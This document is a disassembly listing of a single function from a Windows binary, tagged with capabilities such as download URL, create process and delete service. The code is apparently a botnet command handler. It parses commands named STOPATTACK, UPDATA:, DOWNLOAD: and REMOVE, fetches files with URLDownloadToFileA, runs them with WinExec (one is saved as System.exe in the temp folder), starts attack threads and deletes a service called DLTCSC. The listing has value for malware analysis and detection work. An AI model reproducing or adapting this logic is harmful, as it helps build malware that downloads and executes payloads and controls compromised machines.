Function at 0x40aa30
Capabilities:
Check os version
Create process on windows
Create thread
Delete service
Download url
Get common file path
Get memory capacity
Receive data
Send data
Send data on socket
Terminate process

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x40c186
push eax
mov dword fs:[0], esp
sub esp, 0x63c
push ebx
push esi
mov esi, dword [esp + 0x654]
push edi
mov edi, dword [sym.imp.MSVCRT.dll_strncmp]
push 3
push 0x40eefc
push esi
call edi
add esp, 0xc
test eax, eax
jne 0x40b059
mov ecx, 7
lea edi, [esp + 0x88]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov ecx, 0xc
mov dword [esp + 0x2c], eax
lea edi, [esp + 0xa8]
mov dword [esp + 0x30], eax
xor edx, edx
mov word [esp + 0x34], ax
mov dword [esp + 0x20], edx
rep stosd dword es:[edi], eax
xor ecx, ecx
push ebp
mov dword [esp + 0x18], ecx
mov dword [esp + 0x28], edx
mov dword [esp + 0x1c], ecx
push esi
stosw word es:[edi], ax
mov word [esp + 0x24], cx
mov ecx, 0x80
xor eax, eax
lea edi, [esp + 0x24c]
rep stosd dword es:[edi], eax
mov ecx, 0x180
mov edi, 0x40f29c
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
mov word [esp + 0x30], dx
call fcn.0040bf16
push 0x40eef8
lea ecx, [esp + 0x14]
mov dword [esp + 0x658], 0
call sub.MFC42.DLL_CString::Find
inc eax
lea ecx, [esp + 0x10]
push eax
push 0
call sub.MFC42.DLL_CString::Delete
push 0x40eef4
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
push eax
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x8c]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString
push 0x40eef4
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
inc eax
lea ecx, [esp + 0x10]
push eax
push 0
call sub.MFC42.DLL_CString::Delete
push 0x40eef4
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
lea ecx, [esp + 0x14]
push eax
push ecx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x30]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString
push 0x40eef4
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
inc eax
lea ecx, [esp + 0x10]
push eax
push 0
call sub.MFC42.DLL_CString::Delete
push 0x40eef4
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
lea ecx, [esp + 0x14]
push eax
push ecx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xac]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString
push 0x40eef4
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
inc eax
lea ecx, [esp + 0x10]
push eax
push 0
call sub.MFC42.DLL_CString::Delete
push 0x40eef4
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
lea ecx, [esp + 0x14]
push eax
push ecx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x18]
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString
push 0x40eef4
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
inc eax
lea ecx, [esp + 0x10]
push eax
push 0
call sub.MFC42.DLL_CString::Delete
push 0x40eef4
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
lea ecx, [esp + 0x14]
push eax
push ecx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x24]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString
push 0x40eef4
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
inc eax
lea ecx, [esp + 0x10]
push eax
push 0
call sub.MFC42.DLL_CString::Delete
push 0x40eef4
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
test eax, eax
jle 0x40ad8b
push 0x40eef4
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
lea ecx, [esp + 0x14]
push eax
push ecx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x248]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString
push 0x40eef4
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
inc eax
lea ecx, [esp + 0x10]
push eax
push 0
call sub.MFC42.DLL_CString::Delete
jmp 0x40adb3
mov edi, dword [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ebp, dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0x248]
push ecx
push 0x40eee0
push 0x40f29c
call ebp
add esp, 0xc
lea ecx, [esp + 0x10]
push 0x40eef4
call sub.MFC42.DLL_CString::Find
test eax, eax
jle 0x40ae4d
push 0x40eef4
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
lea edx, [esp + 0x14]
push eax
push edx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x248]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString
push 0x40eef4
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
inc eax
lea ecx, [esp + 0x10]
push eax
push 0
call sub.MFC42.DLL_CString::Delete
jmp 0x40ae75
mov edi, dword [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x248]
push ecx
push 0x40eee0
push 0x40f49c
call ebp
add esp, 0xc
lea ecx, [esp + 0x10]
push 0x40eef4
call sub.MFC42.DLL_CString::Find
test eax, eax
jle 0x40af09
push 0x40eef4
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
lea edx, [esp + 0x14]
push eax
push edx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
or ecx, 0xffffffff
mov edi, eax
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x248]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString
push 0x40eef4
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
inc eax
lea ecx, [esp + 0x10]
push eax
push 0
call sub.MFC42.DLL_CString::Delete
jmp 0x40af31
mov edi, dword [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x248]
push ecx
push 0x40eee0
push 0x40f69c
call ebp
mov ebp, dword [sym.imp.MSVCRT.dll_atoi]
add esp, 0xc
lea edx, [esp + 0x18]
push edx
call ebp
mov dword [esp + 0x18], eax
lea eax, [esp + 0x28]
push eax
call ebp
mov ebx, eax
mov ecx, 0x13
xor eax, eax
lea edi, [esp + 0x48]
rep stosd dword es:[edi], eax
lea edi, [esp + 0x94]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x48]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x60]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0xb4]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x38]
push ecx
call ebp
mov esi, dword [sym.imp.KERNEL32.DLL_CreateThread]
add esp, 0xc
test ebx, ebx
mov dword [esp + 0x54], eax
mov dword [0x40f89c], 0
pop ebp
je 0x40b008
push 0
lea edx, [esp + 0x40]
push 0
push edx
push 0x40a8b0
push 0
push 0
call esi
push 0
lea eax, [esp + 0x40]
push 0
push eax
push 0x40a970
push 0
push 0
call esi
mov eax, dword [esp + 0x10]
push 0
test eax, eax
push 0
je 0x40b020
lea ecx, [esp + 0x44]
push ecx
push 0x40a840
jmp 0x40b02a
lea edx, [esp + 0x44]
push edx
push 0x409400
push 0
push 0
call esi
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea ecx, [esp + 0xc]
mov dword [esp + 0x650], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, 1
jmp 0x40b32d
push str.STOPATTACK
push esi
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x40b080
mov dword [0x40f89c], 1
mov eax, 1
jmp 0x40b32d
push 7
push str.UPDATA:
push esi
call edi
add esp, 0xc
test eax, eax
jne 0x40b191
mov ecx, pe_nt_image_headers32
lea edi, [esp + 0x444]
push 0x3a
push esi
rep stosd dword es:[edi], eax
call dword [sym.imp.MSVCRT.dll_strchr]
mov edi, eax
add esp, 8
inc edi
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x444]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, pe_nt_image_headers32
lea edi, [esp + 0xdd]
mov byte [esp + 0xdc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0xdc]
push ecx
push 0x104
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
mov edi, str.System.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0xdc]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push eax
and ecx, 3
lea eax, [esp + 0xe4]
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x44c]
push eax
push ecx
push 0
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
jne 0x40b32b
lea edx, [esp + 0xdc]
push eax
push edx
call dword [sym.imp.KERNEL32.DLL_WinExec]
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf01ff
push str.DLTCSC
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push 0
call dword [sym.imp.MSVCRT.dll_exit]
push 9
push str.DOWNLOAD:
push esi
call edi
add esp, 0xc
test eax, eax
jne 0x40b36c
mov ecx, pe_nt_image_headers32
lea edi, [esp + 0x444]
rep stosd dword es:[edi], eax
mov ecx, 0x19
lea edi, [esp + 0x1e0]
rep stosd dword es:[edi], eax
push esi
lea ecx, [esp + 0x14]
call fcn.0040bf16
push 0x40eef8
lea ecx, [esp + 0x14]
mov dword [esp + 0x654], 1
call sub.MFC42.DLL_CString::Find
inc eax
lea ecx, [esp + 0x10]
push eax
push 0
call sub.MFC42.DLL_CString::Delete
push 0x40eef4
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
push eax
lea eax, [esp + 0x3c]
push eax
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
or ebx, 0xffffffff
mov edi, eax
mov ecx, ebx
xor eax, eax
lea edx, [esp + 0x444]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x38]
call sub.MFC42.DLL_CString::CString
push 0x40eef4
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Find
inc eax
lea ecx, [esp + 0x10]
push eax
push 0
call sub.MFC42.DLL_CString::Delete
push 0
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::GetBuffer
mov edi, eax
mov ecx, ebx
xor eax, eax
lea edx, [esp + 0x1e0]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
xor eax, eax
rep movsb byte es:[edi], byte [esi]
mov ecx, pe_nt_image_headers32
lea edi, [esp + 0x545]
mov byte [esp + 0x544], 0
mov byte [esp + 0xdc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0xdd]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x544]
push 0x104
push ecx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea edx, [esp + 0x1e0]
lea eax, [esp + 0x544]
push edx
push eax
lea ecx, [esp + 0xe4]
push str._s_s
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x10
lea edx, [esp + 0xdc]
lea eax, [esp + 0x444]
push 0
push 0
push edx
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
je 0x40b345
lea ecx, [esp + 0x10]
mov dword [esp + 0x650], ebx
call sub.MFC42.DLL_CString::CString
xor eax, eax
mov ecx, dword [esp + 0x648]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x648
ret
lea ecx, [esp + 0xdc]
push 0
push ecx
call dword [sym.imp.KERNEL32.DLL_WinExec]
lea ecx, [esp + 0x10]
mov dword [esp + 0x650], ebx
call sub.MFC42.DLL_CString::CString
mov eax, 1
jmp 0x40b32d
mov eax, str.REMOVE
mov dl, byte [esi]
mov bl, byte [eax]
mov cl, dl
cmp dl, bl
jne 0x40b399
test cl, cl
je 0x40b395
mov dl, byte [esi + 1]
mov bl, byte [eax + 1]
mov cl, dl
cmp dl, bl
jne 0x40b399
add esi, 2
add eax, 2
test cl, cl
jne 0x40b371
xor eax, eax
jmp 0x40b39e
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40b32b
push 2
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0xf01ff
push str.DLTCSC
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push 0
call dword [sym.imp.MSVCRT.dll_exit]
nop
nop
nop
nop